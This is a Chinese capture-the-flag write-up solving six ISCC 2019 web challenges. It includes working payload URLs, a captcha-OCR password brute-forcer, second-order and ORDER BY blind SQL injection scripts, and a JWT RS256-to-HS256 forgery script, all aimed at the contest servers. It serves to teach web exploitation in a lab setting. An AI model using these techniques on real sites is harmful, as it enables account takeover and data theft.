2019ISCC_web题解

WEB 1


观察$username == 'w3lc0me_To_ISCC2019'生成过程为chr(value_ascii)拼接。
但脚本对value每个Ascii值进行判断>32&&<127则删除value值,直接传入‘w3lc0me_To_ISCC2019’对应ascii将被unset

翻看官方手册发现,chr()会对传入数值对256 mod运算,取余。


利用py 得到 value

username="w3lc0me_To_ISCC2019"
value={}
str1=''
for i in range(0,len(username)):
	value[i]=ord(username[i])+256
	str1+="value"+"["+str(i)+"]="+str(value[i])+"&"
print(str1)

intval($password) < 2333 && intval($password + 1) > 2333

考察php5弱类型,intval(‘0x91d’)=0,intval(‘0x91d’+1)=2334。php5能将十六进制转为十进制。

最终payload:

http://39.100.83.188:8001/?value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=
340&value[9]=367&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313&password=0x91d

WEB 2

存在登录框,很明显需要编写py爆破三位密码.验证码图片信息可以在./vcode.php获取。

python脚本如下:
import requests
import pytesseract
import re
from bs4 import BeautifulSoup
from PIL import Image
from io import BytesIO

image_url="http://39.100.83.188:8002/vcode.php"
pass_url="http://39.100.83.188:8002/login.php"
s=requests.Session()
password=0

def getImageCode():
	while True:
		print('-------开始识别-------')
		imageURL=image_url
		image=s.get(url=imageURL)
		captcha_img=Image.open(BytesIO(image.content))
		imageCode=pytesseract.image_to_string(captcha_img)
		print('[+]验证码识别结果: ',imageCode)
		print('----------开始d效验-------------')
		match=re.search(r'^[a-z0-9]{4}$',imageCode)
		if not match:
			print('[-]验证码:',imageCode,'校验失败,继续识别')
		else:
			print('[+]验证码:',imageCode,'校验成功')
			return imageCode

def guess(password):
	while True:
		passwd=""
		if len(str(password))!=3:
			count=3-len(str(password))
			for i in range(1,count+1):
				passwd=passwd+"0"
		if len(passwd)==4:
			break
		passwd=passwd+str(password)
		print('--------------开始猜测密码++++++++++++')
		imageCode=getImageCode()
		data={
			'username':'admin',
			'pwd':passwd,
			'user_code':imageCode
		}
		g=s.post(url=pass_url,data=data)
		g.encoding=g.apparent_encoding
		print(g.text)
		if '验证码错误' in g.text:
			print(g.text)
		elif '密码错误' in g.text:
			print('密码:',passwd,'错误')
			password+=1
		else:
			print('密码:',passwd,'正确')
			print('返回网页结果:')
			print(g.text)
			break

guess(password)
password=996登录得到flag

二解

登录抓取POST包,将cookie、capture删除即可绕过验证码。使用burp爆破密码即可

WEB 3

考察二次注入:该题能够使用二次注入就是发现修改密码处的显示未转义的username
该题与sqlilabs_less24相同
后端注册代码

对用户名密码mysql_escape_string转义

注册:username:admin’#
password:zxasqw159

发现插入数据库中的数据并为在单引号前加”\”,存入数据库将单引号吃掉。

因为登录时候login.php会对用户密码转义,无法成功使用”admin’#”admin帐号登录。

可以通过修改密码处。使用admin’#帐号进行登录。再进行密码修改,用户名为Session[‘username’]中取出即为”admin’#”

username:admin’#
curr_pass:zxasqw159
pass:123456
repass:123456

UPDATE处的语句就为

UPDATE users SET PASSWORD='123456' where username='admin'#' and password='zxasqw159'

成功将admin密码修改为123456
登录即可得到Flag

解决该题二次注入
第一种:插入数据时使用: str_replace("\\", "\\\\");
第二种:修改密码前对用户名转义

WEB 4


parse_str解析url之后存在变量覆盖,构造sha256($hash_key=1)=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

Payload:http://39.100.83.188:8066/?action=auth&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b&key=1

WEB 5

过滤括号,-,@、andsleep、extractvalue..字符

使用order by 盲注
order by排序规律是以字节码进行排序

具体参考https://p0sec.net/index.php/archives/106/
只要每一位字符小于或相等,整体字符串字节码最小的那个字段会排序在第一个位置。

按照以上思路,有如下逻辑

字符字节码小于或相等->回显union select 中第二列内容。
字符字节码不相等->回显union_373_Tom!

这里需要注意的是,因为小于也会使得字段排在第一位。
所以需要找到最大的每一位使之与union_373_Tom!的密码每一位相同。

python脚本

import requests
import string
str1="_"+string.lowercase[::-1]+'987654321'//另Ascii值最大排在最前
passwd=''
for j in range(0,32):
	for i in str1:
		data={
			'username':'union_373_Tom',
			'password':"1' or '1'   union select  1,2,"+"'"+passwd+i+"' from admin order by  3,'1"
		}
		header={
			'User-Agent':"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.28 Safari/537.36 Union.373"
		}
		url="http://39.100.83.188:8054"
		r=requests.post(url=url,headers=header,data=data)
		r.encoding='utf-8'
		# print(data)
		if '2!' in r.text:
			passwd=passwd+i
			print(passwd)
			break

运行脚本得到flag

WEB 6

登录网页login,服务端response一串json。其中似乎能利用只有token。

对token进行解码,发现是使用jwt生成Token。

访问jwt.io官网得知,base64解码之后的格式是以三部分形式
Header头部带有加密方式alg:RS256,类型typ:”JWT”

Payload带有用户信息

签名字段使用RSASHA256分别对header、payload、secret进行加密。且RSASHA256为非对称加密需要公钥与私钥进行解密

查找前端源码,http://39.100.83.188:8053/static/js/common.js
处发现ajax请求,验证头部身份认证。验证成功弹出文件路径。猜测需要构造admin Token进而得到admin的data.links


在源码底部发现公钥公钥获取方式

访问urlhttp://39.100.83.188:8053/pubkey/7f4986d640c32e7ee1c7a8297b62c4ee得到公钥需要对里面的换行字符”\n”剔除

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK
omh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h
Kk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc
IC+LX+9V/mpyKe9R3wIDAQAB
-----END PUBLIC KEY-----

因为服务端发送的token采用RSA256加密方式,需要公钥与私钥。但我们无法获取私钥。猜测后端解密方式是通过HEADER头部alg字段进行解密验证。

python脚本如下
import jwt
import base64
public ="LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FETVJUek05dWprSG1oNDJhWEcwYUhaay9QSwpvbWg2bGFWRitjMytEK2tsSWpYZ2xqNysvd3huenRuaHlPWnBZeGR0azdGZnBIYTNYaDRQa3BkNVZpdndPdTFoCktrM1hRWVplTUhvdjRrVzB5dVMrNVJwRlYxUTJnbS9OV0dZNTJFYVFtcENORlFiR05pZ1podTk1UjJPb010dWMKSUMrTFgrOVYvbXB5S2U5UjN3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ=="
print(jwt.encode({"name": "iscc19","priv": "admin"}, key=base64.b64decode(public), algorithm='HS256'))

运行时候需要对algorithms.py中prepare_key中非法字符注释,否则程序报错。

运行py获得字符串

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaXNjYzE5IiwicHJpdiI6ImFkbWluIn0.bEza2gXi7_q9qPFTSgbu8wWRpmHqHd1FFa-rJKY_38c

带入即可获取admin信息

访问http://39.100.83.188:8053/text/admin:22f1e0aa7a31422ad63480aa27711277获得flag

参考链接:https://www.anquanke.com/post/id/145540#h2-3


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!